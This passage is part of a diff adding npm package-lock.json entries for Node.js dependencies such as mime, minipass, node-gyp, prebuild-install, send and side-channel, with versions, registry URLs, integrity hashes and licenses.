+      "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+      "license": "MIT",
+      "bin": {
+        "mime": "cli.js"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/mime-db": {
+      "version": "1.52.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/mime-types": {
+      "version": "2.1.35",
+      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+      "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+      "license": "MIT",
+      "dependencies": {
+        "mime-db": "1.52.0"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/mimic-response": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
+      "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/minimatch": {
+      "version": "5.1.9",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz",
+      "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==",
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/minimist": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
+      "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/minipass": {
+      "version": "3.3.6",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+      "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+      "license": "ISC",
+      "dependencies": {
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/minipass-collect": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
+      "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/minipass-fetch": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz",
+      "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.1.0",
+        "minipass-sized": "^1.0.3",
+        "minizlib": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "optionalDependencies": {
+        "encoding": "^0.1.12"
+      }
+    },
+    "node_modules/minipass-flush": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.7.tgz",
+      "integrity": "sha512-TbqTz9cUwWyHS2Dy89P3ocAGUGxKjjLuR9z8w4WUTGAVgEj17/4nhgo2Du56i0Fm3Pm30g4iA8Lcqctc76jCzA==",
+      "license": "BlueOak-1.0.0",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/minipass-pipeline": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",
+      "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/minipass-sized": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz",
+      "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/minizlib": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
+      "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+      "license": "MIT",
+      "dependencies": {
+        "minipass": "^3.0.0",
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/mkdirp": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+      "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+      "license": "MIT",
+      "bin": {
+        "mkdirp": "bin/cmd.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/mkdirp-classic": {
+      "version": "0.5.3",
+      "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
+      "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==",
+      "license": "MIT"
+    },
+    "node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
+    },
+    "node_modules/napi-build-utils": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz",
+      "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==",
+      "license": "MIT"
+    },
+    "node_modules/negotiator": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+      "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/node-abi": {
+      "version": "3.89.0",
+      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.89.0.tgz",
+      "integrity": "sha512-6u9UwL0HlAl21+agMN3YAMXcKByMqwGx+pq+P76vii5f7hTPtKDp08/H9py6DY+cfDw7kQNTGEj/rly3IgbNQA==",
+      "license": "MIT",
+      "dependencies": {
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/node-addon-api": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
+      "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
+      "license": "MIT"
+    },
+    "node_modules/node-gyp": {
+      "version": "8.4.1",
+      "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz",
+      "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "env-paths": "^2.2.0",
+        "glob": "^7.1.4",
+        "graceful-fs": "^4.2.6",
+        "make-fetch-happen": "^9.1.0",
+        "nopt": "^5.0.0",
+        "npmlog": "^6.0.0",
+        "rimraf": "^3.0.2",
+        "semver": "^7.3.5",
+        "tar": "^6.1.2",
+        "which": "^2.0.2"
+      },
+      "bin": {
+        "node-gyp": "bin/node-gyp.js"
+      },
+      "engines": {
+        "node": ">= 10.12.0"
+      }
+    },
+    "node_modules/nopt": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
+      "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "abbrev": "1"
+      },
+      "bin": {
+        "nopt": "bin/nopt.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/npmlog": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz",
+      "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==",
+      "deprecated": "This package is no longer supported.",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "are-we-there-yet": "^3.0.0",
+        "console-control-strings": "^1.1.0",
+        "gauge": "^4.0.3",
+        "set-blocking": "^2.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
+      }
+    },
+    "node_modules/object-inspect": {
+      "version": "1.13.4",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+      "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/on-finished": {
+      "version": "2.4.1",
+      "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
+      "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+      "license": "MIT",
+      "dependencies": {
+        "ee-first": "1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/on-headers": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.1.0.tgz",
+      "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "license": "ISC",
+      "dependencies": {
+        "wrappy": "1"
+      }
+    },
+    "node_modules/p-map": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
+      "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "aggregate-error": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/parseurl": {
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+      "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/path-is-absolute": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+      "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/path-to-regexp": {
+      "version": "0.1.13",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.13.tgz",
+      "integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==",
+      "license": "MIT"
+    },
+    "node_modules/picocolors": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "license": "ISC"
+    },
+    "node_modules/prebuild-install": {
+      "version": "7.1.3",
+      "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
+      "integrity": "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==",
+      "deprecated": "No longer maintained. Please contact the author of the relevant native addon; alternatives are available.",
+      "license": "MIT",
+      "dependencies": {
+        "detect-libc": "^2.0.0",
+        "expand-template": "^2.0.3",
+        "github-from-package": "0.0.0",
+        "minimist": "^1.2.3",
+        "mkdirp-classic": "^0.5.3",
+        "napi-build-utils": "^2.0.0",
+        "node-abi": "^3.3.0",
+        "pump": "^3.0.0",
+        "rc": "^1.2.7",
+        "simple-get": "^4.0.0",
+        "tar-fs": "^2.0.0",
+        "tunnel-agent": "^0.6.0"
+      },
+      "bin": {
+        "prebuild-install": "bin.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/promise-inflight": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
+      "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/promise-retry": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz",
+      "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "err-code": "^2.0.2",
+        "retry": "^0.12.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/proxy-addr": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+      "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+      "license": "MIT",
+      "dependencies": {
+        "forwarded": "0.2.0",
+        "ipaddr.js": "1.9.1"
+      },
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/pump": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz",
+      "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==",
+      "license": "MIT",
+      "dependencies": {
+        "end-of-stream": "^1.1.0",
+        "once": "^1.3.1"
+      }
+    },
+    "node_modules/qs": {
+      "version": "6.15.1",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz",
+      "integrity": "sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==",
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "side-channel": "^1.1.0"
+      },
+      "engines": {
+        "node": ">=0.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/random-bytes": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/random-bytes/-/random-bytes-1.0.0.tgz",
+      "integrity": "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/range-parser": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+      "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/raw-body": {
+      "version": "2.5.3",
+      "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz",
+      "integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==",
+      "license": "MIT",
+      "dependencies": {
+        "bytes": "~3.1.2",
+        "http-errors": "~2.0.1",
+        "iconv-lite": "~0.4.24",
+        "unpipe": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/rc": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
+      "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
+      "license": "(BSD-2-Clause OR MIT OR Apache-2.0)",
+      "dependencies": {
+        "deep-extend": "^0.6.0",
+        "ini": "~1.3.0",
+        "minimist": "^1.2.0",
+        "strip-json-comments": "~2.0.1"
+      },
+      "bin": {
+        "rc": "cli.js"
+      }
+    },
+    "node_modules/readable-stream": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
+      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "license": "MIT",
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/retry": {
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
+      "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/rimraf": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "deprecated": "Rimraf versions prior to v4 are no longer supported",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "glob": "^7.1.3"
+      },
+      "bin": {
+        "rimraf": "bin.js"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+      "license": "MIT"
+    },
+    "node_modules/semver": {
+      "version": "7.7.4",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz",
+      "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==",
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/send": {
+      "version": "0.19.2",
+      "resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz",
+      "integrity": "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==",
+      "license": "MIT",
+      "dependencies": {
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "fresh": "~0.5.2",
+        "http-errors": "~2.0.1",
+        "mime": "1.6.0",
+        "ms": "2.1.3",
+        "on-finished": "~2.4.1",
+        "range-parser": "~1.2.1",
+        "statuses": "~2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/send/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT"
+    },
+    "node_modules/serve-static": {
+      "version": "1.16.3",
+      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz",
+      "integrity": "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==",
+      "license": "MIT",
+      "dependencies": {
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "parseurl": "~1.3.3",
+        "send": "~0.19.1"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/set-blocking": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
+      "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/setprototypeof": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
+      "license": "ISC"
+    },
+    "node_modules/side-channel": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
+      "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.3",
+        "side-channel-list": "^1.0.0",
+        "side-channel-map": "^1.0.1",
+        "side-channel-weakmap": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-list": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
+      "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-map": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+      "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-weakmap": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+      "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3",
+        "side-channel-map": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/simple-concat": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",
+      "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
